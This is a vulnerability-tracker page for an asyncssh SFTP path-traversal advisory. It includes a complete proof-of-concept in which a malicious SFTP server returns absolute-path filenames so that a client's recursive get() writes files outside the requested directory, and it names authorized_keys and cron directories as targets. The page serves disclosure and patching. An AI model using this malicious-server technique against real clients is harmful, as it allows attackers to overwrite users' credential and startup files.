CVE Watchtower

← Back to CVE List

CVE-2026-77473NVD

Vulnerability Summary

Summary `SFTPClient._copy()`, used by `get()`, `mget()`, and `copy()` when recursing into a remote directory, builds the local destination path for each entry using the filename returned by the server's `readdir` response, with no validation. A malicious or compromised SFTP server can return a directory entry whose "filename" is an absolute path or contains `../` traversal sequences, causing the client to write the corresponding file outside the requested destination directory. This is the same class of issue as the recently patched SCP path traversal (GHSA-2wxc-x7rj-hg8f / CVE-2026-54591), but in the SFTP code path — the guard added there (rejecting `/`, `\`, and `..` in `_parse_cd_args`) was never applied to the equivalent SFTP recursive-copy logic. Details In `asyncssh/sftp.py`, `SFTPClient._copy()`: ```python async for srcname in srcfs.scandir(srcpath): filename = cast(bytes, srcname.filename) if filename in (b'.', b'..'): continue srcfile = posixpath.join(srcpath, filename) dstfile = posixpath.join(dstpath, filename) ``` `srcname.filename` comes directly from the `SSH_FXP_NAME` response to a `readdir` request, which is fully attacker-controlled when connecting to a malicious server. The only check performed is an exact match against `.`/`..`; there is no check for embedded path separators or a leading `/`. `posixpath.join(dstpath, filename)` will: - append `../../etc/cron.d/evil` relative to `dstpath`, escaping the destination directory once the path is later resolved, or - discard `dstpath` entirely and return the attacker's path verbatim if `filename` is absolute (e.g. `/home/user/.ssh/authorized_keys`), per `posixpath.join`'s documented behavior. Confirmed present on current `develop` (commit `312678b`, 2026-07-11). PoC The following runs a real, unmodified AsyncSSH server and client over a loopback TCP connection. Only `SFTPServer.scandir()` is overridden, to return one entry with a malicious absolute-path "filename" — everything else (client `get()`, `_copy()`, the server's own protocol handling) is exercised as-is. ```python import asyncio, os, shutil, sys import asyncssh from asyncssh.sftp import SFTPServer, SFTPName, SFTPAttrs from asyncssh.constants import FILEXFER_TYPE_REGULAR, FILEXFER_TYPE_DIRECTORY WORKDIR = "/tmp/asyncssh_poc" OUTSIDE_TARGET = f"{WORKDIR}/OUTSIDE_TARGET" CLIENT_DEST = f"{WORKDIR}/client_dest" class MaliciousSFTPServer(SFTPServer): async def scandir(self, path): yield SFTPName(b'.', attrs=SFTPAttrs(type=FILEXFER_TYPE_DIRECTORY)) yield SFTPName(b'..', attrs=SFTPAttrs(type=FILEXFER_TYPE_DIRECTORY)) yield SFTPName(b'readme.txt', attrs=SFTPAttrs( type=FILEXFER_TYPE_REGULAR, size=5, permissions=0o644)) yield SFTPName(OUTSIDE_TARGET.encode(), attrs=SFTPAttrs( type=FILEXFER_TYPE_REGULAR, size=5, permissions=0o644)) async def open(self, path, pflags, attrs): content = b'PWNED' if path.endswith(OUTSIDE_TARGET.encode()) else b'hello' return _FakeFile(content) class _FakeFile: def init(self, content): self._content, self._pos = content, 0 def read(self, size=-1): size = len(self._content) - self._pos if size < 0 else size data = self._content[self._pos:self._pos + size] self._pos += len(data) return data def seek(self, offset, whence=0): self._pos = offset def tell(self): return self._pos def close(self): pass class _OpenServer(asyncssh.SSHServer): def begin_auth(self, username): return False def password_auth_supported(self): return True async def validate_password(self, username, password): return True async def main(): shutil.rmtree(WORKDIR, ignore_errors=True) os.makedirs(CLIENT_DEST, exist_ok=True) asyncssh.generate_private_key('ssh-rsa').write_private_key(f"{WORKDIR}/host_key") server = await asyncssh.listen( 'localhost', 0, server_host_keys=[f"{WORKDIR}/host_key"], sftp_factory=MaliciousSFTPServer, process_factory=lambda p: None, server_factory=_OpenServer) port = server.sockets[0].getsockname()[1] async with asyncssh.connect('localhost', port, known_hosts=None, username='u', client_keys=None) as conn: async with conn.start_sftp_client() as sftp: await sftp.get('.', CLIENT_DEST, recurse=True, sparse=False) print("Files in requested destination:", os.listdir(CLIENT_DEST)) print("File written outside destination exists:", os.path.exists(OUTSIDE_TARGET)) if os.path.exists(OUTSIDE_TARGET): print(" contents:", open(OUTSIDE_TARGET).read()) asyncio.run(main()) ``` Output: ``` Files in requested destination: ['readme.txt'] File written outside destination exists: True contents: PWNED ``` The malicious server directory entry lands outside `CLIENT_DEST`, at a path entirely of the server's choosing. Impact A malicious or compromised SFTP server can cause any client performing a recursive `get()`/`mget()`/remote-to-local `copy()` to write files to arbitrary locations on the local filesystem writable by the client process, limited only by the client's own OS permissions. This includes overwriting existing files such as `~/.ssh/authorized_keys`, cron directories, or shell startup files, depending on what the connecting user has write access to. Suggested fix Apply the same guard used in the SCP fix (`_parse_cd_args` in `asyncssh/scp.py`) to the filename returned by `scandir()` in `_copy()`: reject any entry whose filename contains `/` or `\`, or equals `..`, before it is passed to `posixpath.join()`. --- Note: AI assistance (Claude Sonnet 5) was used to help analyze the relevant code paths and to build and run the verification script above; the finding and its verification were reviewed by me before submission.
Severity Level
MEDIUM(6.5)
Published Date
Oct 4, 2026
Last Modified
Oct 4, 2026
Exploitation Status
No confirmed exploitation yet
CVE Record Status
Reserved
This CVE ID is referenced in a public advisory, but the CVE Program has not published its official CVE Record yet. Full CVSS/CPE data from NVD will appear here once it does.
EPSS Score (30-Day)
Data Pending
Root Weakness (CWE)
The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory.
CVSS v3.1 Base Metrics — Score 6.5
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionRequired
ScopeUnchanged
ConfidentialityNone
IntegrityHigh
AvailabilityNone

Affected & Patched Versions

Affected Versions
  • asyncssh <= 2.24.0
Patched Versions
  • asyncssh 2.24.1
🎁7-Day Free Trial — Try Pro or Team, no card required.
📧Email Delivery — Threat intel straight to your inbox.
♾️Unlimited Vendors — Track your entire stack.
🚨All New CVEs — Be the first to know.
📈EPSS Spike Alerts — Catch rising risk before it peaks.
🎯Custom EPSS/CVSS — Filter noise, focus on risk.
🛡️Exploit Intel — A 2nd confirmed-exploit signal beyond KEV.
🐙GitHub Issues — Auto-tracked, no duplicates.
📬Weekly Digest — One clean summary, not inbox spam.
🏷️Watchlist Groups — Tag alerts by team (Infra/AppSec/SOC).
💬Webhooks — Slack & Teams integration.
🔀Smart Routing — Critical alerts to one channel, rest to another.
🚫Ad-Free — Uninterrupted experience.
🎁7-Day Free Trial — Try Pro or Team, no card required.
📧Email Delivery — Threat intel straight to your inbox.
♾️Unlimited Vendors — Track your entire stack.
🚨All New CVEs — Be the first to know.
📈EPSS Spike Alerts — Catch rising risk before it peaks.
🎯Custom EPSS/CVSS — Filter noise, focus on risk.
🛡️Exploit Intel — A 2nd confirmed-exploit signal beyond KEV.
🐙GitHub Issues — Auto-tracked, no duplicates.
📬Weekly Digest — One clean summary, not inbox spam.
🏷️Watchlist Groups — Tag alerts by team (Infra/AppSec/SOC).
💬Webhooks — Slack & Teams integration.
🔀Smart Routing — Critical alerts to one channel, rest to another.
🚫Ad-Free — Uninterrupted experience.